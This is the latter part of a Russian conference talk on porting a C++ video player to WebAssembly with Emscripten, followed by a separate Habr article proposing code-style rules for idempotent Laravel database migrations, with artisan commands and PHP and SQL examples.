Как мы видим из названия, Extend — это расширение интерфейса, поэтому если вы где-то опечатались, Extend не выдаст ошибку, он решит, что вы просто добавили новый метод, и все в порядке.
То есть он скрывает ошибки биндинга до того момента, пока не будет вызван собственно метод. Я предлагаю использовать Implement во всех случаях, где он вам подходит, так как он сразу проверяет корректность проброшенного интерфейса. Но уж если вам нужен Extend, нужно обязательно покрыть тестами вызов каждого метода, чтобы не напортачить.
### Extend и ES6
Другая проблема с Extend в том, что он не поддерживает ES6-классы. Когда вы наследуетесь объектом, порожденным от ES6-класса, Extend ожидает, что в нём все свойства перечислимые, но с ES6 это не так. Методы находятся в прототипе, и у них enumerable: false. Я использую вот такой костыль, в котором пробегаюсь по прототипу и включаю enumerable: true:
```
function enumerateProto(obj) {
Object.getOwnPropertyNames(obj.prototype)
.forEach(prop =>
Object.defineProperty(obj.prototype, prop,
{enumerable: true})
)
}
```
Надеюсь, когда-нибудь удастся избавиться от него, так как в сообществе Emscripten идут разговоры об улучшении поддержки ES6.
### Оперативная память
Говоря про C++, нельзя не затронуть память. Когда мы проверяли всё на видео SD-качества, у нас всё было отлично, работало просто идеально! Как только мы сделали FullHD-тест — ошибка нехватки памяти. Не беда, есть опция TOTAL\_MEMORY, которая задает стартовое значение памяти для модуля. Сделали полгигабайта, все хорошо, но как-то это негуманно для пользователей, ведь память мы резервируем у всех, но не все имеют подписку на FullHD-контент.
Есть другая опция — ALLOW\_MEMORY\_GROWTH. Она позволяет растить память
постепенно по мере надобности. Работает это так: Emscripten по умолчанию даёт модулю для работы 16 мегабайт. Когда вы все их использовали, происходит выделение нового куска памяти. Туда копируются все старые данные, и у вас еще остается столько же места для новых. Так происходит до тех пор, пока не достигнете 4 ГБ.
Допустим, вы выделили 256 мегабайт памяти, но вы точно знаете, вы посчитали, что вашему приложению достаточно 192. Тогда остальная память будет использована неэффективно. Вы ее выделили, забрали у пользователя, но ничего с ней не делаете. Хотелось бы как-то этого избежать. Есть небольшой трюк: мы начинаем работу с увеличенной в полтора раза памятью. Тогда на третьем шаге мы достигаем 192 мегабайт, и это именно то, что нам нужно. Мы сократили потребление памяти на тот остаток и сэкономили лишнее выделение памяти, а чем дальше, тем они занимают больше времени. Поэтому я рекомендую использовать обе эти опции совместно.
### Dependency Injection
Казалось бы это все, но дальше грабли пошли побольше. Есть проблема с Dependency Injection. Пишем простейший класс, в котором нужна зависимость.
```
class App {
constructor(httpClient) {
this.httpClient = httpClient
}
}
```
Например, наш HTTP-клиент мы передаем в наше приложение. Сохраняем в свойство класса. Казалось бы, все будет работать хорошо.
```
Module.App.extend(
″App″,
new App(client)
)
```
Мы наследуемся от интерфейса на C++, сначала создаем наш объект, передаем ему зависимость, а потом происходит наследование. В момент наследования Emscripten делает что-то невероятное с объектом. Проще всего думать, что он убивает старый объект, создает новый на основе своего шаблона и перетаскивает туда все публичные методы. Но при этом состояние объекта теряется, и вы получаете объект, который не сформирован и не работает правильно. Решить эту проблему довольно просто. Надо использовать конструктор, который работает после стадии наследования.
```
class App {
_construct(httpClient) {
this.httpClient = httpClient
this._parent._construct.call(this)
}
}
```
Мы делаем практически то же самое: сохраняем зависимость в поле объекта, но это уже тот объект, который получился после наследования. Нужно не забыть пробросить вызов конструктора в родительский объект, который находится на стороне C++. Последняя строчка — это аналог метода super() в ES6. Вот так происходит наследование в этом случае:
```
const appConstr = Module.App.extend(
″App″,
new App()
)
const app = new appConstr(client)
```
Cначала мы наследуемся, потом создаем новый объект, в который уже передаем зависимость, и это работает.
### Хитрость с указателем
Другая проблема — передача объектов по указателю из C++ в JavaScript. Мы уже делали HTTP-клиент. Для упрощения мы упустили одну важную деталь.
```
std::string get(std::string url)
```
Метод возвращает значение сразу, то есть получается, что запрос должен быть синхронным. Но ведь AJAX-запросы на то и AJAX, что они асинхронные, поэтому в реальной жизни метод будет возвращать либо ничего, либо мы можем вернуть ID запроса. А вот чтобы было кому вернуть ответ, вторым параметром мы передаем listener, в котором будут callback-и со стороны C++.
```
void get(std::string url, Listener listener)
```
В JS это выглядит так:
```
function get(url, listener) {
fetch(url).then(result) => {
listener.onResult(result)
})
}
```
Мы имеем функцию get, которая принимает этот объект listener. Мы запускаем скачивание файла и вешаем callback. Когда файл скачался, мы дергаем у listener нужную функцию и передаем в нее результат.
Казалось бы, план хороший, но когда функция get завершится, будут уничтожены все локальные переменные, а вместе с ними и параметры функции, то есть указатель будет уничтожен, а runtime emscripten уничтожит объект на стороне C++.
В итоге, когда дело дойдет до вызова строчки listener.onResult(result), listener уже не будет существовать, и при обращении к нему возникнет ошибка доступа к памяти, которая приведет к краху приложения.
Хотелось бы этого избежать, и решение есть, но на то, чтобы найти его, ушло несколько недель.
```
function get(url, listener) {
const listenerCopy = listener.clone()
fetch(url).then((result) => {
listenerCopy.onResult(result)
listenerCopy.delete()
})
}
```
Оказывается, есть метод клонирования указателя. Почему-то он не документирован, но отлично работает, и позволяет увеличить счетчик ссылок в указателе Emscripten. Это позволяет подвесить его в замыкании, и тогда, когда мы запустим наш callback, наш listener будет доступен по этому указателю и можно работать так, как нам нужно.
Самое важное — не забыть удалить этот указатель, иначе это приведёт к ошибке утечки памяти, а это очень плохо.
### Быстрая запись в память
Когда мы качаем видео — это относительно большие объемы информации, и хотелось бы сократить количество копирования данных туда-сюда, чтобы сэкономить и память, и время. Есть один трюк, как записать большой объем информации напрямую в память WebAssembly со стороны JavaScript.
```
var newData = new Uint8Array(…);
var size = newData.byteLength;
var ptr = Module._malloc(size);
var memory = new Uint8Array(
Module.buffer, ptr, size
);
memory.set(newData);
```
newData — это наши данные в виде типизированного массива. Мы можем взять его длину и запросить выделение памяти нужного нам размера у модуля WebAssembly. Функция malloc вернет нам указатель, который является просто индексом массива, в котором содержится вся память WebAssembly. Со стороны JavaScript он выглядит просто как ArrayBuffer.
Следующим действием мы прорубуем окошко в этот ArrayBuffer нужного размера с определённого места и копируем туда наши данные. Несмотря на то, что операция set имеет семантику копирования, когда я смотрел на этот участок в профайлере, я не увидел долгого процесса. Я думаю, что браузер оптимизирует эту операцию с помощью move-семантики, то есть передает владение памятью от одного объекта другому.
И в нашем приложении мы также основываемся на move-семантике, чтобы экономить копирования памяти.
### AdBlock
Интересная проблема, скорее, на сдачу, с Adblock. Оказывается в России все популярные блокировщики получают подписку на список RU Adlist, и в нем есть такое прекрасное правило, которое запрещает загрузку WebAssembly с сайтов третьей стороны. Например, с CDN.
Выход — не использовать CDN, а хранить все на своем домене (нам это не подходит). Либо переименовать .wasm-файл, чтобы он не подходил под это правило. Можно ещё пойти на форум этих товарищей и попытаться убедить их убрать это правило. Думаю, они оправдывают себя тем, что они борются с майнерами таким образом, правда, я не знаю, почему майнеры не могут догадаться переименовать файл.
Продакшен
---------
В итоге, мы вышли в продакшен. Да, это было нелегко, это заняло 8 месяцев и хочется спросить себя, а стоило ли оно того. На мой взгляд — стоило:
### Не нужно устанавливать
Мы получили то, что наш код доставляется пользователю без установки каких-либо программ. Когда у нас был плагин к браузеру, пользователь должен был его скачать и установить, и это огромный фильтр для распространения технологии. Сейчас пользователь просто смотрит видео на сайте и даже не понимает, что под капотом работает целая машинерия, и что там всё сложно. Браузер просто скачивает дополнительный файл с кодом, как картинку или .css.
### Единая кодовая база и отладка на разных платформах
При этом нам удалось сохранить нашу единую кодовую базу. Мы можем один и тот же код крутить на разных платформах и уже неоднократно бывало, что баги, которые были незаметны на одной из платформ проявились на другой. И, таким образом, мы можем разными инструментами на разных платформах выявлять скрытые баги.
### Быстрый релиз
Мы получили быстрый релиз, так как можем релизиться как простое web-приложение и с каждым новым релизом обновлять C++ код. Это не сравнится с тем, как релизить новые плагины, мобильное приложение или SmartTV-приложение. Релиз зависит только от нас: когда захотим, тогда он и выйдет.
### Быстрая обратная связь
И это означает быструю обратную связь: если что-то идет не так, мы в течение дня можем узнать, что есть проблема и отреагировать на неё.
Я считаю, что все эти проблемы стоили этих плюсов. Не у всех есть C++ приложение но, если оно у вас есть, и вы хотите, чтобы оно было в браузере — WebAssembly для вас стопроцентный use case.
Где применить
-------------
Не все пишут на С++. Но не только С++ доступен для WebAssembly. Да, это исторически самая первая платформа, которая была доступна ещё в asm.js — ранней технологии Mozilla. Кстати, поэтому она имеет довольно хорошие инструменты, т.к. они старше самой технологии.
### Rust
Новый язык Rust, который также разрабатывает Mozilla, сейчас догоняет и перегоняет С++ в отношении инструментов. Все идет к тому, что они сделают самый классный процесс разработки под WebAssembly.
### Lua, Perl, Python, PHP, etc.
Почти все языки, которые интерпретируются, уже тоже доступны в WebAssembly, так как их интерпретаторы написаны на С++, их просто скомпилировали в WebAssembly и теперь можно крутить PHP в браузере.
### Go
В версии 1.11 они сделали бета-версию компиляции в WebAssembly, в 2.0 обещают релизную поддержку. У них поддержка появилась позже, так как WebAssembly не поддерживает garbage collector, а Go — язык с управляемой памятью. Поэтому им пришлось затаскивать свой garbage collector под WebAssembly.
### Kotlin/Native
Примерно такая же история с Kotlin. Их компилятор имеет экспериментальную поддержку, но им также придется что-то сделать с garbage collector. Я пока не знаю, какой там статус.
### 3D-графика
Что ещё можно придумать? Первое, что вертится на языке — 3D-приложения. И, действительно, исторически asm.js и WebAssembly начались с портирования игр в браузеры. И неудивительно, что сейчас все популярные движки имеют экспорт в WebAssembly.
### Обработка данных локально
Можно ещё придумать обработку данных пользователя прямо у него в браузере, на его компьютере: взять загруженное изображение или с камеры, записать звук, обработать видео. Прочитать загруженный пользователем архив, или собрать его самостоятельно из пачки файлов и загрузить на сервер одним запросом.
### Нейронные сети
На этой картинке изображены практически все архитектуры нейронных сетей. И, действительно, вы можете взять свою нейронную сеть, обучить и отдать на клиента, чтобы она обрабатывала живой поток с видеокамеры или микрофона. Или, например, отслеживать передвижение мышки пользователя и сделать управление жестами; распознавание лиц — возможности почти безграничны.
Например, кусочек Google Chrome, который отвечает за определение языка текста, уже доступен как WebAssembly-библиотека. Её можно подключить как npm-модуль и всё, вы используете Wasm, но работаете с обычным JS. Вы не связываетесь с нейронными сетями, С++ или чем-то ещё — всё доступно из коробки.
Есть популярная библиотека проверки орфографии HunSpell — просто ставите и используете как Wasm модуль.
### Криптография
Ну и первое правило криптографии — «Не пишите свою криптографию». Если хотите подписывать данные пользователя, что-то шифровать и передавать в таком виде на сервер, генерировать устойчивые пароли или нужен ГОСТ — подключите OpenSSL. Уже есть инструкция как скомпилировать под WebAssembly. OpenSSL — это надёжный код, проверенный тысячами приложений, не нужно ничего изобретать.
### Вынос вычислений с сервера
Классный use case есть на сайте wotinspector.com. Это сервис для игроков World of Tanks. Вы можете загрузить свой реплей, проанализировать его, соберется статистика по игре, нарисуется красивая карта, в общем, для профессиональных игроков очень полезный сервис.
Одна проблема — анализ такого реплея занимает много ресурсов. Если бы это происходило на сервере, наверняка это был бы закрытый платный сервис, доступный не всем. Но автор этого сервиса, Андрей Карпушин, написал бизнес-логику на С++, скомпилировал её в WebAssembly, и теперь пользователь может запустить обработку прямо у себя в браузере (а на сервер отправить, чтобы другие пользователи также получили к ним доступ).
Это интересный кейс с точки зрения монетизации сайта. Вместо того, чтобы брать деньги с пользователей, мы используем ресурсы их компьютера. Это похоже на монетизацию с помощью майнера. Но в отличие от майнера, который просто жжёт электроэнергию пользователей, а взамен приносит авторам сайта копейки, мы делаем сервис, который производит реально нужную пользователю работу. То есть пользователь согласен делиться с нами ресурсами. Поэтому эта схема работает.
### Библиотеки
Также в мире существует куча библиотек, написанных за многолетнюю историю на С, С++. Например, проект FFmpeg, который является лидером по обработке видео. Многие пользуются программами для обработки видео, где внутри ffmpeg. И вот его можно запустить в браузере и кодировать видео. Это будет долго и медленно, да, но если вы делаете сервис, который генерирует аватарки или трехсекундные видеоролики, то ресурсов браузера будет достаточно.
Тоже самое с аудио — можно записывать в сжатый формат и отправлять на сервер уже маленькие файлики. И библиотека OpenCV — лидер по машинному зрению, доступна в WebAssembly, можно делать распознавание лиц и управление жестами рук. Можно работать с PDF. Можно использовать файловую базу данных SQLite, которая поддерживает настоящий SQL. Портирование SQLite под WebAssembly сделал автор Emscripten, он наверняка тестировал компилятор на нём.
### Node.js
Не только браузер получает бонусы от WebAssembly, также можно использовать Node.js. Наверное, все знают Sass — препроцессор css. Он был написан на Ruby, а затем для ускорения переписан на С++ (проект libsass). Но никто не хочет запускать отдельную программу для обработки исходников, хочется встроиться в процесс сборки бандла Webpack’ом, а для этого нужен модуль для Node.js. Проект [node-sass](https://github.com/sass/node-sass) решает эту задачу, является JS-обёрткой для этой библиотеки.
Библиотека нативная, это значит мы должны компилировать её под ту платформу, под которой пользователь будет её запускать. И это приводит нас к матрице версий. Эти столбики нужно перемножить:
Это приводит к тому, что для одного релиза node-sass нужно сделать около 100 компиляций под каждую комбинацию из таблицы. Потом всё это нужно хранить, а это десятки мегабайт файлов на каждый (даже минорный) релиз. Как WebAssembly решает эту проблему: он сворачивает всю таблицу в один файл, потому что исполняемый файл WebAssembly не зависит от платформы.
Достаточно будет один раз скомпилировать код и загружать только один файл на все платформы независимо от архитектуры или версии Node. Такой проект уже есть, портированием под WebAssembly уже занимаются в проекте [libsass-asm](https://github.com/kwonoj/libsass-asm). Работа ведётся недавно, и проекту очень нужны помощники для работы. Это отличный шанс попрактиковаться с WebAssembly на реальном проекте…
### Ускорение приложений
Есть популярное приложение Figma — редактор графики для web-дизайнеров. Это в какой-то мере аналог Sketch, который работает на всех платформах, потому что запускается в браузере. Он написана на С++ (о чем мало кто знает), и там изначально использовали asm.js. Приложение очень большое, поэтому стартовало не быстро.
Когда появился WebAssembly, разработчики перекомпилировали свои исходники, и старт приложения ускорился в 3 раза. Это серьезное улучшение для редактора, который должен быть готов к работе как можно быстрее.
Другое знакомое всем приложение Visual Studio Code, несмотря на то, что работает в Electron, использует нативные модули для самых критичных участков кода, поэтому у них такая же проблема с огромным количеством версий, как у Node-sass. Пожалуй, разработчики контролируют только версию Node, но для поддержки платформ ОС и архитектур им приходится пересобирать эти модули. Поэтому, я уверен, не за горами тот день, когда они тоже перейдут на WebAssembly.
### Портирование приложений в браузер
Но самый крутой пример портирования кодовой базы — AutoCAD. Софту уже 30 лет, он написан на С++, и это огромная кодовая база. Продукт очень популярен в среде проектировщиков, чьи привычки давно устоялись, поэтому команде разработчиков пришлось бы совершить очень много работы по переносу всей накопившейся бизнес-логики на JavaScript, при портировании в браузер, что делало эту затею почти безнадёжной. Но теперь благодаря WebAssembly [AutoCAD доступен как веб-сервис](https://web.autocad.com/login), где вы можете за 5 минут зарегистрироваться и начать им пользоваться.
Есть прикольная демка, которую сделал Фабрис Беллар, уникальный, по моему мнению, программист, поскольку он сделал много настолько популярных проектов, каких обычный программист делает, пожалуй, один за свою жизнь. Я упоминал FFMpeg — это его проект, а другая его разработка — QEMU. Возможно, мало кто о нем слышал, но на нем основана система виртуализации KVM, которая уж точно является лидером в своей области.
Беллард с 2011 года поддерживает [порт QEMU для браузера](https://bellard.org/jslinux/). Это значит, что вы можете запустить любую систему с помощью эмулятора напрямую в своем браузере. В общем, [Linux с консолью](https://bellard.org/jslinux/vm.html?url=https://bellard.org/jslinux/buildroot-x86.cfg), настоящим Linux-ядром, работающим в браузере без сервера, какой-то дополнительной связи.
Можно отключить интернет, и он будет работать. Там есть bash, можно делать всё то, что и в обычном Linux. Есть и [другая демка — с GUI](https://bellard.org/jslinux/vm.html?url=https://bellard.org/jslinux/buildroot-x86-xwin.cfg&graphic=1). В ней уже можно запустить настоящий браузер. К сожалению, в демке нет сети, и не получится открыть в ней саму себя…
И, чтобы уж точно вас убедить, покажу что-то невероятное. [Это Windows 2000](https://bellard.org/jslinux/vm.html?url=https://bellard.org/jslinux/win2k.cfg&mem=192&graphic=1&w=1024&h=768), та самая, что была 18 лет назад, только сейчас она работает в вашем браузере. Раньше нужен был целый компьютер, а теперь достаточно просто Chrome (или FireFox).
Как вы видите, применений WebAssembly масса, я перечислил только то, что нашёл сам, а у вас возникнут новые идеи, и вы сможете их реализовать.
Как это внедрить у себя
-----------------------
Я хочу дать несколько советов для тех, кто задумает портировать своё приложение под WebAssembly. Первое, с чего стоит начать — с команды, конечно же. Минимальная команда — два человека, один со стороны нативных технологий и фронтендер.
Так бывает, что прикладные программисты на C++ не очень хорошо ориентируются в web-технологиях. Поэтому наша задача, как фронтендеров, если мы оказываемся в таком проекте — взять на себя эту часть работы. Но идеальная команда — те люди, кто интересуются не только своей платформой, но и хотят разобраться в той, что по другую сторону компилятора.
По счастью, в нашем проекте вышло именно так. Мой коллега Юра, большой специалист по C++, как выяснилось давно хотел изучить JavaScript, и книжка Флэнагана ему в этом очень помогла. Я же взял томик Страуструпа, и с Юриной помощью начал вникать в азы C++. В итоге за время проекта мы много рассказывали друг другу о своих основных языках, и нашли удивительно много общего у JS и C++, каким бы странным это ни казалось.
И если у вас подберётся именно такая команда — это будет идеально.
CI Pipeline
-----------
Как выглядел наш ежедневный процесс разработки? Мы вынесли все JS-артефакты в отдельный репозиторий, чтобы было удобнее настроить там сборку через Webpack. Когда появляются изменения в нативном коде, мы подтягиваем их, компилируем (порой это занимает больше всего времени), и результат компиляции копируется в проект JS. Дальше его подхватывает webpack в режиме watch, собирает бандл, и мы можем запускаем приложение в браузере или прогонять тесты.
Отладка
-------
Конечно же, при разработке нам важна отладка. С этим, к сожалению, пока не очень хорошо.
Нужно в Chrome включить эксперименты DevTools, и мы увидим на закладке Sources папку с wasm-юнитами. Мы видим точки останова (можем остановить браузер в каком-то месте), но, к сожалению, код видим в текстовом представлении ассемблера.
Хотя наш архитектор Коля, когда в первый раз посмотрел на эту картину, пробежался глазами по листингу и сказал: «Смотрите, да это же стековая машина, вот, тут с памятью работаем, тут арифметика, всё ж понятно!». В общем, Коля умеет писать под embedded-системы, а мы не умеем, и хотели бы какой-то явной привязки к исходному коду.
Есть небольшой трюк: на максимальном уровне отладки -g4 в wast-файле появляются дополнительные комментарии, и выглядит это вот так.
Вам нужен редактор, который сможет открыть файл размером 100 мегабайт (мы выбрали FAR). Цифры — номера модулей, которые мы уже видели в консоли Chrome. E:/\_work/bfg/bytefrog/… — ссылка на исходный код. С этим можно жить, но хотелось бы увидеть настоящий С++ код прямо в отладчике браузера. И это звучит, как задача для SourceMap!
SourceMap
---------
К сожалению, с ними пока есть проблемы.
* Работает только в Firefox.
* --sourcemap-base=http://localhost опцией указываем, что надо сгенерировать SourceMap и адрес веб-сервера, где будут храниться исходники.
* Доступ к исходникам по HTTP.
* Пути к файлам исходников должны быть относительные.
* На Windows есть проблема с «:» в путях. Все пути обрезаются до двоеточия.
Последние два пункта затронули нас. CMake при сборке приводит все пути к абсолютному виду, в результате файлы невозможно найти по такому URL на веб-сервере. Мы решили это так: предобрабатываем wast-файл и все пути приводим к относительному виду, убирая заодно и двоеточия. Думаю, вы с таким не столкнётесь.
В итоге, выглядит это следующим образом:
Код С++ в отладчике браузера. Теперь мы видели всё! Слева дерево исходников, есть точки останова, видим stack trace, который нас привел к этой точке. К сожалению, если дотронуться до любого wasm-вызова в stack trace, провалимся в ассемблер, это досадный баг, который, думаю, будет исправен.
К сожалению, другой баг не будет исправлен — SourceMap принципиально не поддерживает связь переменных. Мы видим, что локальные переменные потеряли не только свои имена, но и свои типы. Их значения представлены в виде знакового целого и мы не узнаем, что там было на самом деле.
Но мы можем привязать их к конкретному месту ассемблера по сгенерированному имени «var0».
Конечно, хотелось бы просто навести мышью на имя переменной и увидеть значение. Возможно, в будущем придумают новый формат SourceMap, который позволит биндить не только кодовую базу, но и переменные.
Профайлер
---------
Также можно взглянуть на профайлер. Он работает и в Chrome, и в Firefox. В Firefox получше — он «разматывает» имена, и их видно так, как они есть в исходном коде.
Chrome их немного кодирует (для тех, кто понимает, это Mangled имена функций), но, если прищуриться, можно понять, к чему они относятся.
Производительность
------------------
Поговорим о производительности. Это сложная и многогранная тема, и вот почему:
* Рантайм. Замер производительности зависит от runtime, который вы используете. Замеры в С++ будут отличаться от замеров в Rust или Go.
* Потери на границе JS — Wasm. Измерять математику не имеет смысла, потому что потери производительности происходят на пересечении границы JS и Wasm. Чем больше вы делаете вызовов туда-сюда, чем больше перебрасываете объектов, тем сильнее проседает скорость. Браузеры сейчас работают над этой проблемой, и постепенно ситуация улучшается.
* Технология развивается. Те замеры, которые сделали сегодня, не будут иметь смысла завтра, а уж тем более через пару месяцев.
* Wasm ускоряет старт приложения. Wasm не обещает, что ускорит ваш код или заменит JS. Команда WebAssembly сфокусирована на том, чтобы ускорять запуск больших кодовых баз приложений.
* В синтетике вы получаете скорость на уровне JS.
Мы сделали простой тест: графические фильтры для изображения.
* [wasp\_cpp\_bench](https://github.com/andrnag/wasm_cpp_bench)
* Chrome 65.0.3325.181 (64-bit)
* Core i5-4690
* 24gb ram
* 5 замеров; отброшены max и min; усреднение
Получили такие результаты. Здесь всё отнормировано к выполнению аналогичного фильтра на JS — жёлтый столбик, во всех случаях ровно единица.
С++, скомпилированный без оптимизации, ведет себя каким-то странным образом. Это видно на примере фильтра Grayscale. Даже наши C++ разработчики не смогли объяснить, почему именно так. Но когда включается оптимизация (зеленый столбик), мы получаем время, практически совпадающее с JS. И, забегая вперед, мы получаем аналогичные результаты в нативном коде, если скомпилируем С++, как нативное приложение.
Сбор сбоев и ошибок
-------------------
Мы используем Sentry, и с ним есть проблема — из стектрейсов пропадают фреймы wasm. Оказалось, что библиотека traceKit, которую использует клиент Sentry — Raven, — просто содержит регулярное выражение, в котором не учтено, что wasm существует. Мы сделали патч, и, наверное, скоро его отправим pull request, а пока применяем при npm install нашего JS-проекта.
Выглядит вот таким образом. Это версия production, здесь не видно имён функций, только номера юнитов. А так выглядит debug-сборка, в ней уже можно разобраться, что пошло не так:
Итого
-----
* WebAssembly уже можно использовать в бою, и наш проект это доказал.
* Портировать даже большое приложение — реально. У нас это заняло 8 месяцев, львиную долю которого мы потратили на рефакторинг своего приложения на C++, чтобы выделить границы, интерфейсы и так далее.
* Инструменты пока слабые, но работа в этом направлении ведется, так как WebAssembly — на самом деле будущее веба.
* Скорость — на уровне JS. Современные JS-машины оптимизируют программный код до такой степени, что он просто «проваливается» в машинные инструкции, и выполняется с той скоростью, с которой может ваш процессор.
Если возьметесь за работу, рекомендую:
* Берите Emscripten и Embind. Это хорошие и рабочие технологии.
* Если понадобится что-то странное в Emscripten — загляните в тесты. Документация есть, но охватывает не всё, а файл тестов содержит 3000 строк всех возможных ситуаций использования Emscripten.
* Для сбора ошибок подойдет Sentry.
* Отлаживайте в Firefox.
Спасибо за внимание! Я готов ответить на ваши вопросы.
> Если вам понравился этот доклад с конференции HolyJS, обратите внимание: **24-25 мая в Петербурге** состоится следующая **HolyJS**. На [сайте конференции](http://holyjs-piter.ru/?utm_source=habr&utm_medium=441140) уже есть описания части докладов (например, приедет создатель Node.js Ryan Dahl!), там же можно приобрести билеты — и с 1 марта они подорожают. | https://habr.com/ru/post/441140/ | null | ru | null |
# Code style для миграций Laravel
Всем привет.
Первые пять лет своей карьеры программиста, я работал над in-house проектом, следующие семь лет я работал в разных стартапах, с командой максимум из пяти разработчиков.
Сейчас я пару месяцев работаю над проектом где 20+ разработчиков, работа одновременно ведётся в примерно 30-ти ветках, имеется пять сред для отработки кода (драфт, дев, тестинг, хотфикс, прод), у каждой среды своя БД (перед выкаткой камита на стенд/среду, происходит проверочная выкатка с использованием отдельной БД, то есть на пять сред мы имеем 10 отдельных баз данных).
Вести разработку в нескольких ветках мне не в новинку, всегда так делал. Открытием для меня стало, то что версия кода и версия схемы базы данных ни как не синхронизируются. В маленьком проекте, не проблема дропнуть схему целиком, и целиком её накатить, это занимает считанные минуты, в этом проекте накатить схему с нуля с посевом занимает от часа.
Есть большая проблема с тем как синхронизировать версию кода и версию схемы базы данных.
Ниже я расскажу о правилах которые я принял для себя и буду рад если вы поделитесь своими приёмами и техниками, которые помогают вам справиться с этой бедой.
Disclaimer
----------
Код представленный ниже это обусифицированный боевой код, я его не отлаживал, может потребоваться доработка напильником. Я делюсь с вами только идеями.
Описание проблемы
-----------------
Есть у нас ветка драфт, что бы пушить в драфт не надо делать МР, эта ветка нужна для того что бы программист мог по быстрому показать свои наработки бизнес аналитику, что бы фронт-энд мог интегрироваться с изменениями на бэк-энде. Драфт регулярно ресетиться.
То есть ты что то сделал с функционалом, решил показать другим разработчикам - выкатываешь всё на драфт, на БД драфта раскатывается твоя миграция, ты показал, понял что был не прав и переделываешь миграцию, в это время кто то ресетит драфт вместе с твоей миграцией, и что мы имеем ? мы имеем миграцию которая были применена и которую ни кто не откатил, как думаете получиться ещё раз её применить ?
Другая проблема в том что миграции локально применяются по мере разработки кода, а накатываются на БД, по мере тестирования кода. Фича которую ты разработал может на пару недель застрять в тестировании, а фича которую ты делал на этой неделе уже будет раскатана сегодня, и когда завтра из тестирования выйдет первая фича и будет накатываться на прод, могут возникнуть проблемы. Это не смертельно, но очень неприятно.
То есть порядок применения миграций иногда бывает хаотичным.
Правило первое: "накатывать можно бесконечно"
---------------------------------------------
Правило первое, пишем миграцию так что бы её можно было бесконечное количество раз накатывать на саму себя. То есть накатываем миграцию, удаляем запись этой миграции в таблице migrations, и если мы ещё раз накатим эту же миграцию, то не должно быть эксепшена, миграция не должна вызвать сбой.
Миграцию можно как бесконечное количество раз накатить на саму себя, так и откатить с самой себя.
Для работы миграциями по штучно я использую такое команды:
```
# накатить конкретную миграцию
php artisan migrate --path="services/best-team-servise/database/migrations/2021_02_04_240000_alter_data_model_table_add_unique_index.php" --pretend
# ключ --pretend позволит нам посмотреть SQL до того как будет применена миграция, иногда полезно
# откатить ровно одну миграцию
php artisan migrate:rollback --step=1
# можно откатить и десять, при случае раберётесь
```
После того как миграция применена, можно сгенерировать описание модели
```
php artisan ide-helper:models "Project\Models\DataModel"
```
и сделать посев данных:
```
php artisan db:seed --class=DataModelSeeder
```
Как сделать так что бы миграцию можно было бесконечно применять ? в методах up() и down() миграции, мы должны делать проверку того, что действие со схемой БД можно выполнить.
Если мы добавляем колонку, то проверяем что колонка не существует, если мы дропаем индекс, то проверяем что индекс существует.
Получаем **Builder** :
```
$conn = (new DataModel())->connection;
$builder = Schema::connection($conn);
```
проверяем что миграция не была применена (проверяем что миграция может быть выполнена):
```
$isExists = $builder->hasColumn(
'data_model',
'deleted_at'
);
```
Если миграция может быть выполнена, то выполняем:
```
if (!$isExists) {
$builder->table(
'data_model',
function (Blueprint $table) {
$table->softDeletesTz();
}
);
}
```
Аналогично с таблицами - проверяем что таблица не существует, с индексами - проверяем что индекс не существует, с индексами посложней, но можно, поможет такой код:
```
$alias = (new DataModel())->connection;
$builder = Schema
::connection($alias)
->getConnection()
->getDoctrineSchemaManager();
$existingIndexes = $builder->listTableIndexes('data_model');
```
С индексами в Laravel есть заморочка, если мы создали индекс как:
```
Blueprint::unique('index_name');
```
То и удалять надо как:
```
Blueprint::dropUnique('index_name');
```
С таблицами и колонками у Laravel ок, с индексами похуже, с триггерами совсем плохо, приходиться писать на чистом SQL, наверное я чего то не знаю о Laravel ? Адепты, подскажите !
Накатываем чистым SQL, пишем так:
```
DROP TRIGGER IF EXISTS trigger_name
ON public.data_model;
CREATE TRIGGER trigger_name
BEFORE INSERT
ON public.data_model
FOR EACH ROW
EXECUTE PROCEDURE public.function_name();
```
Когда откатываем, пишем так же:
```
DROP TRIGGER IF EXISTS trigger_name
ON public.data_model;
```
Правило второе: "шаблонные имена"
---------------------------------
Миграций в проекте сотни, за полгода было написано 1000+ миграций. Конечно вся 1000 не лежит в одной директории, они раскиданы по директориям модулей.
Но тем нем нее, когда открываешь директорию в которой 50+ миграций, тебе сложно ориентироваться в них без "хороших" имён.
**Соглашения об именах**
Если создаём таблицу, то имя миграции начинается с create, если меняем таблицу то alter, если удаляем таблицу, то drop.
Следующая часть имени миграции это имя колонки или индекса над которым будет произведены изменения.
```
alter_data_model_add_property_column
alter_data_model_alter_property_column_to_text
alter_data_model_alter_property_column_set_default_value
alter_data_model_create_index_on_code_type_columns
alter_data_model_create_unique_index_on_code_column
```
Дропать таблицы, конечно, можно только на этапе MVP.
Команды для создания миграций:
```
# делаем миграцию для создания таблицы
php artisan make:migration create_profile_table --create=profile
# делаем миграцию для изменения таблицы
php artisan make:migration add_confirmed_to_profile --table=profile
```
Файл миграции будет помещён в директорию database/migrations собственно приложения, у нас каждый сервис это отдельный пакет и после создания файла миграции его надо переложить в директорию своего пакета.
Правило третье: таблицы и колонки дропать нельзя, все колонки nullable()
------------------------------------------------------------------------
Поскольку миграции применяются хаотично, и в одной версии колонка может быть создана и если колонка будет NOT NULL, то версия кода, которая ни чего не знает об этой колонке, не сможет работать, пока мы не откатим миграцию в которой эта колонка создаётся.
Откатывать миграции вместе с репозиторием, эта так себе занятие.
Поэтому все колонки должны быть только nullable(), проверку того что обязательные колонки имеют значение, надо делать на уровне кода бизнес логики или с помощью обсерверов.
Соответственно при посеве данных, что бы не подменять файлы данных для посева, не прописывать какие конкретно колонки мы пишем - мы должны делать запись только в те колонки которые существуют:
```
$columns = Schema
::connection((new DataModel())->connection)
->getConnection()
->getDoctrineSchemaManager()
->listTableColumns($(new DataModel())->getTable());
$data = [];
foreach ($columns as $column) {
$name = $column->getName();
/* @var array[] $record строка данных для посева*/
$exists = key_exists($name, $record);
if ($exists) {
$data[$name] = $record[$name];
}
}
$isSuccess = DataModel
::withTrashed()
->updateOrCreate(
['uniqe_index_column' => $data['uniqe_index_column'],],
$data
)->exists;
```
Правило четвёртое: значения по умолчанию, там где null недопустим
-----------------------------------------------------------------
Булевые колонки должны иметь значение по умолчанию, колонки статусов и тому подобное, тоже должны иметь значения по умолчанию, что бы записи добавленные кодом который ни чего не знает об этих колонках, не ломал работу кода, для которого эти колонки необходимы.
